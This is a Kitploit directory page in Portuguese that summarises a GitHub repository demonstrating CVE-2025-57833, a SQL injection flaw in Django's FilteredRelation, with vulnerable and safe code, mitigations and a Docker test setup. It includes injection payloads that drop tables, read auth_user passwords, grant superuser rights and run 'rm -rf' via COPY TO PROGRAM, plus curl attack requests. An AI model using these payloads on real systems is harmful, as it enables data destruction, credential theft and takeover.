Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-57833 — Configurámos um ambiente para testar o CVE-2025-57833. Este ambiente foi construído com IA, pelo que está sujeito a modificações contínuas. | Kitploit
Ferramentas/GitHubGitHub/mkway/cve-2025-57833
Análise EstáticaAnálise de VulnerabilidadesAnálise de CódigoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubmkway/cve-2025-57833

CVE-2025-57833

Configurámos um ambiente para testar o CVE-2025-57833. Este ambiente foi construído com IA, pelo que está sujeito a modificações contínuas.

Ver Repositório
21há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-57833: Vulnerabilidade de Injeção de SQL no Django

Este repositório demonstra e explica a CVE-2025-57833, uma vulnerabilidade crítica de injeção de SQL no ORM do Django que afeta as versões 4.2 anteriores a 4.2.24, 5.1 anteriores a 5.1.12 e 5.2 anteriores a 5.2.6.

🚨 Visão Geral da Vulnerabilidade

Pontuação CVSS: 9.8 (Crítica)
Impacto: Injeção de SQL levando à Execução Remota de Código (RCE)
Autenticação Necessária: Nenhuma (ataque não autenticado)


📚 Entendendo o Contexto

O que é o Django ORM?

Django ORM (Object-Relational Mapping) permite que desenvolvedores interajam com bancos de dados usando código Python em vez de SQL puro. Por exemplo:

root@kitploit:~
# Instead of raw SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)

O que é FilteredRelation?

FilteredRelation é um recurso do Django que permite unir tabelas com condições adicionais de filtragem:

root@kitploit:~
# Join books with authors, but only active authors
Book.objects.annotate(
    active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')

O que são Nomes de Campos Dinâmicos?

Às vezes, os desenvolvedores precisam criar nomes de campos dinamicamente com base na entrada do usuário:

root@kitploit:~
# User wants to search by different criteria
search_field = request.POST.get('field_name')  # User input: "title", "author", etc.

# Dynamic field creation using **kwargs
queryset.annotate(**{
    search_field: FilteredRelation('some_relation')
})

🎯 A Vulnerabilidade Explicada

Como a Vulnerabilidade Ocorre

A vulnerabilidade ocorre quando entrada de usuário não sanitizada é usada como chaves de dicionário em annotate() ou alias() com FilteredRelation. Aqui está o processo passo a passo:

Passo 1: Padrão de Código Vulnerável

root@kitploit:~
# This is what vulnerable applications do:
user_input = request.POST.get('search_field')  # Attacker controls this

# The vulnerability is here - user input becomes SQL column alias
queryset.annotate(**{
    user_input: FilteredRelation("author")  # ❌ DANGEROUS
})

Passo 2: Entrada Maliciosa

Um atacante envia entrada maliciosa:

root@kitploit:~
user_input = "malicious_field'; DROP TABLE users; --"

Passo 3: Geração de SQL

O Django gera SQL assim:

root@kitploit:~
SELECT ... 
FROM book 
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...

Passo 4: Injeção de SQL Executada

O SQL malicioso é executado, potencialmente:

  • Eliminando tabelas
  • Extraindo dados sensíveis
  • Executando comandos arbitrários (RCE)

🔍 Cenário de Ataque no Mundo Real

Padrão Vulnerável Comum

Muitos aplicativos Django têm funcionalidade de busca onde os usuários podem escolher qual campo pesquisar:

root@kitploit:~
# views.py - Common vulnerable pattern
def search_books(request):
    search_field = request.POST.get('search_by')  # "author", "title", "category"
    search_value = request.POST.get('search_value')
    
    # Developer thinks this is safe - IT'S NOT!
    books = Book.objects.annotate(**{
        f"filtered_{search_field}": FilteredRelation(
            search_field, 
            condition=Q(**{f"{search_field}__name__icontains": search_value})
        )
    })
    
    return JsonResponse({'books': list(books.values())})

Vetor de Ataque

root@kitploit:~
# Attacker sends this POST request:
curl -X POST http://example.com/search/ \
  -d "search_by=author'; DROP TABLE auth_user; --" \
  -d "search_value=anything"

⚖️ Código Seguro vs. Vulnerável

❌ Código Vulnerável

root@kitploit:~
# NEVER DO THIS - Direct user input as dictionary key
user_field = request.POST.get('field')
queryset.annotate(**{
    user_field: FilteredRelation('relation')  # SQL Injection!
})

✅ Código Seguro - Abordagem de Lista de Permissões (Whitelist)

root@kitploit:~
# SAFE - Use whitelist validation
ALLOWED_FIELDS = ['author', 'category', 'publisher']

user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
    raise ValidationError("Invalid field")

queryset.annotate(**{
    user_field: FilteredRelation('relation')  # Now safe
})

✅ Código Seguro - Nomes de Campos Estáticos

root@kitploit:~
# SAFE - Use static field names
search_type = request.POST.get('search_type')
if search_type == 'author':
    queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
    queryset.annotate(filtered_category=FilteredRelation('category'))

💥 Escalonamento de Impacto: Da Injeção de SQL ao RCE

1. Divulgação de Informações

root@kitploit:~
-- Extract sensitive data
'; SELECT username, password FROM auth_user; --

2. Manipulação do Banco de Dados

root@kitploit:~
-- Modify data
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --

3. Execução Remota de Código (PostgreSQL)

root@kitploit:~
-- Execute system commands (PostgreSQL with appropriate extensions)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --

🛡️ Estratégias de Mitigação

1. Validação de Entrada (Recomendado)

root@kitploit:~
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']

def safe_annotate(queryset, field_name):
    if field_name not in ALLOWED_FIELDS:
        raise ValidationError(f"Field '{field_name}' not allowed")
    
    return queryset.annotate(**{
        field_name: FilteredRelation('relation')
    })

2. Evite Nomes de Campos Dinâmicos

root@kitploit:~
# Instead of dynamic field names, use conditional logic
def get_filtered_queryset(search_type):
    if search_type == 'author':
        return queryset.annotate(result=FilteredRelation('author'))
    elif search_type == 'category':
        return queryset.annotate(result=FilteredRelation('category'))
    else:
        raise ValidationError("Invalid search type")

3. Atualize o Django

Atualize para a versão mais recente do Django:

  • Django 4.2.24+
  • Django 5.1.12+
  • Django 5.2.6+

🧪 Testando Esta Vulnerabilidade

Este repositório inclui um ambiente de teste completo:

root@kitploit:~
# Run the vulnerable Django application
docker-compose up

# Test the vulnerability
curl -X POST http://localhost:8000/api/vulnerable-search/ \
  -H "Content-Type: application/json" \
  -d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'

Para instruções detalhadas de teste, consulte document/README.md.


📖 Referências

  • Aviso de Segurança do Django: Lançamentos de segurança do Django emitidos: 5.2.6, 5.1.12 e 4.2.24
  • Análise Técnica: Django RCE não autenticado de 0-clique e Injeção de SQL por Eyal Gabay
  • Detalhes da CVE: CVE-2025-57833 Injeção de SQL no Django

⚠️ Aviso Legal

Este repositório é apenas para fins educacionais e de segurança defensiva. Não use estas informações para atacar sistemas que você não possui ou não tem permissão para testar.

Baixar ferramenta